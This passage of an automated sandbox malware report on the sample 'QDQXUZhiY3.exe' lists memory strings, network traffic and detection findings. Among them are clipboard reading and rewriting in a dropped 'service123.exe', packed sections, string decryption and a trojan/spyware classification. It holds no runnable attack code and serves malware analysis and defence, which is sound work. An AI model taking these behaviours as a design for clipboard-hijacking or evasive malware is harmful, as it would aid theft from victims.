Source: QDQXUZhiY3.exe, 00000000.00000003.1372791120.0000000007C8F000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://httpbin.org/ipbefore
Source: chrome.exe, 00000003.00000003.1780509665.0000369C00A20000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 00000003.00000003.1780509665.0000369C00A20000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 00000003.00000003.1780509665.0000369C00A20000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 00000003.00000003.1780509665.0000369C00A20000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 00000003.00000003.1780509665.0000369C00A20000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 00000003.00000003.1780509665.0000369C00A20000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 00000003.00000003.1780509665.0000369C00A20000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 00000003.00000003.1780509665.0000369C00A20000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 00000003.00000003.1780509665.0000369C00A20000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 00000003.00000003.1780509665.0000369C00A20000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000003.00000003.1780509665.0000369C00A20000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 00000003.00000003.1780509665.0000369C00A20000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000003.00000003.1780509665.0000369C00A20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788184533.0000369C00BAC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000003.00000002.1808267043.0000369C007B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1808304615.0000369C007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806796323.0000369C004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1810715374.0000369C00C4C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000003.00000002.1808267043.0000369C007B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1808304615.0000369C007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806796323.0000369C004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1810715374.0000369C00C4C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000003.00000003.1771779295.000019580039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1802382497.0000195800238000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000003.00000002.1803526424.0000195800770000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1802382497.0000195800238000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000003.00000003.1771583120.0000195800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1803862700.000019580080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1771779295.000019580039C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000003.00000003.1771583120.0000195800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1803862700.000019580080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1771779295.000019580039C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000003.00000002.1803526424.0000195800770000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000003.00000003.1771779295.000019580039C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000003.00000002.1811267606.0000369C00D24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788675504.0000369C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788303148.0000369C003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788572947.0000369C01094000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000003.00000002.1811267606.0000369C00D24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788675504.0000369C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788303148.0000369C003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788572947.0000369C01094000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000003.00000003.1772253537.00001958006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1803490020.0000195800744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788303148.0000369C003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788572947.0000369C01094000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000003.00000003.1771779295.000019580039C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000003.00000002.1803593699.000019580078C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 00000003.00000002.1803593699.000019580078C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918
Source: chrome.exe, 00000003.00000002.1803490020.0000195800744000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000003.00000002.1805702161.0000369C001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1774880994.0000369C001C8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000003.00000002.1805702161.0000369C001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1810119327.0000369C00B54000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/
Source: chrome.exe, 00000003.00000002.1805188311.0000369C000E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1807697257.0000369C006D1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000003.00000002.1805188311.0000369C000E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1809913867.0000369C00B08000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1810676503.0000369C00C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1807697257.0000369C006D1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000003.00000002.1805188311.0000369C000E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1807697257.0000369C006D1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000003.00000002.1805188311.0000369C000E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1809913867.0000369C00B08000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1807697257.0000369C006D1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.1808134023.0000369C00774000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1812299734.0000369C00EB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806901629.0000369C004F0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000003.00000002.1808134023.0000369C00774000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806757520.0000369C00498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1808962762.0000369C008F0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000003.00000002.1808962762.0000369C008F0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacyM
Source: chrome.exe, 00000003.00000002.1808962762.0000369C008F0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacyf
Source: chrome.exe, 00000003.00000002.1808962762.0000369C008F0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000003.00000002.1807523750.0000369C00664000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000003.00000002.1806170972.0000369C002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1786565725.0000369C00FA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1809152082.0000369C00960000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myactivity.google.com/
Source: chrome.exe, 00000003.00000002.1805702161.0000369C001C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000003.00000002.1805786837.0000369C0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: chrome.exe, 00000003.00000002.1812810097.0000369C01118000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000003.00000002.1806796323.0000369C004BC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: chrome.exe, 00000003.00000002.1806170972.0000369C002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1786565725.0000369C00FA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1809152082.0000369C00960000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000003.1788675504.0000369C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788303148.0000369C003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788572947.0000369C01094000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000002.1809152082.0000369C00960000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000003.00000002.1804934898.0000369C00078000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000003.00000002.1805108997.0000369C000A8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000003.00000002.1805702161.0000369C001C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000003.00000002.1808267043.0000369C007B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1810676503.0000369C00C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1808304615.0000369C007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806796323.0000369C004BC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.1808267043.0000369C007B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1810676503.0000369C00C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806796323.0000369C004BC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000003.00000002.1808304615.0000369C007C0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactionsA
Source: chrome.exe, 00000003.00000002.1809413734.0000369C009E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000003.00000002.1805702161.0000369C001C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tasks.googleapis.com/
Source: chrome.exe, 00000003.00000002.1807564609.0000369C00678000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000003.00000002.1810206769.0000369C00BB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781070319.0000369C00BAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788184533.0000369C00BAC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000003.00000002.1810206769.0000369C00BB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781070319.0000369C00BAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788184533.0000369C00BAC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000003.00000002.1810206769.0000369C00BB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781070319.0000369C00BAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788184533.0000369C00BAC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000003.00000002.1804934898.0000369C00078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1807862259.0000369C00708000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000003.00000003.1787017437.0000369C00C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1807564609.0000369C00678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1810759129.0000369C00C6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781317797.0000369C00490000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1809839441.0000369C00AD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1809480930.0000369C00A0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000003.00000002.1810759129.0000369C00C6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/Char6
Source: chrome.exe, 00000003.00000002.1808426703.0000369C0080C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/Chary
Source: chrome.exe, 00000003.00000002.1812532605.0000369C00F2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000003.00000002.1812267966.0000369C00EA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1812810097.0000369C01118000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Source: chrome.exe, 00000003.00000002.1812907135.0000369C01148000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/async/newtab_promos
Source: chrome.exe, 00000003.00000002.1812907135.0000369C01148000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/async/newtab_promos66
Source: chrome.exe, 00000003.00000002.1805702161.0000369C001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1809086809.0000369C00940000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1812631197.0000369C01070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1808304615.0000369C007C0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000003.00000002.1805702161.0000369C001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1809086809.0000369C00940000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1812631197.0000369C01070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1808304615.0000369C007C0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000003.00000002.1809152082.0000369C00960000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=
Source: chrome.exe, 00000003.00000002.1808134023.0000369C00774000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1807227700.0000369C005B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806901629.0000369C004F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1810012313.0000369C00B2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000003.00000003.1788572947.0000369C01094000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000003.00000002.1806796323.0000369C004BC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000003.00000002.1809480930.0000369C00A0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000003.00000002.1804794459.0000369C0001C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000003.00000002.1805786837.0000369C0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000003.00000002.1805786837.0000369C0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000003.00000002.1805786837.0000369C0020C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1807227700.0000369C005B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000003.00000002.1807227700.0000369C005B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v4/tokeno
Source: chrome.exe, 00000003.00000002.1805786837.0000369C0020C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1809152082.0000369C00960000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000003.00000002.1806796323.0000369C004BC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000003.00000002.1810119327.0000369C00B54000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: chrome.exe, 00000003.00000002.1807697257.0000369C006D1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000003.00000002.1810119327.0000369C00B54000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/;
Source: chrome.exe, 00000003.00000002.1811412166.0000369C00D54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1807697257.0000369C006D1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1810119327.0000369C00B54000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000003.00000002.1810119327.0000369C00B54000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/?feature=ytca0DA
Source: chrome.exe, 00000003.00000002.1807697257.0000369C006D1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000003.00000002.1807666562.0000369C006BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1807697257.0000369C006D1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1809693625.0000369C00A74000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49834
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D029D11 OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 8_2_6D029D11
Contains functionality to modify clipboard data
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D029D11 OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 8_2_6D029D11
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D029C22 Sleep,GetClipboardSequenceNumber,OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 8_2_6D029C22
Contains functionality to read the clipboard data
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D029E27 GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 8_2_6D029E27

System Summary
barindex
Drops large PE files
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File dump: service123.exe.0.dr 314617856 Jump to dropped file
PE file contains section with special chars
Source: QDQXUZhiY3.exe Static PE information: section name:
Source: QDQXUZhiY3.exe Static PE information: section name: .idata
Source: QDQXUZhiY3.exe Static PE information: section name:
Abnormal high CPU Usage
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Process Stats: CPU usage > 49%
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_002A51B0 8_2_002A51B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_002A3E20 8_2_002A3E20
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D01CD00 8_2_6D01CD00
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D052CCE 8_2_6D052CCE
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D020FC0 8_2_6D020FC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D01EE50 8_2_6D01EE50
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D060AC0 8_2_6D060AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D0244F0 8_2_6D0244F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D0487C0 8_2_6D0487C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D0507D0 8_2_6D0507D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D0546E0 8_2_6D0546E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D060060 8_2_6D060060
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D052090 8_2_6D052090
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D042360 8_2_6D042360
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D06DC70 8_2_6D06DC70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D025880 8_2_6D025880
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D0498F0 8_2_6D0498F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D05DBEE 8_2_6D05DBEE
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D057A20 8_2_6D057A20
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D061510 8_2_6D061510
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D05140E 8_2_6D05140E
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D03F760 8_2_6D03F760
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D05F610 8_2_6D05F610
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D013000 8_2_6D013000
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D0270C0 8_2_6D0270C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D0D50D0 8_2_6D0D50D0
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6D0E5980 appears 83 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6D0E3560 appears 43 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6D0E5A70 appears 77 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6D0E3820 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6D0E36E0 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6D0DADB0 appears 49 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6D0E3B20 appears 38 times
One or more processes crash
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7872 -s 1400
Uses 32bit PE files
Source: QDQXUZhiY3.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: QDQXUZhiY3.exe Static PE information: Section: dymycfjg ZLIB complexity 0.9947567991631799
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@21/7@16/5
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File created: C:\Users\user\AppData\Local\fHjWqgTqEM Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7872
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Users\user\AppData\Local\Temp\service123.exe Mutant created: \Sessions\1\BaseNamedObjects\rsybkyyJsiXfxXHmiUFW
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7352:120:WilError_03
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File created: C:\Users\user\AppData\Local\Temp\service123.exe Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
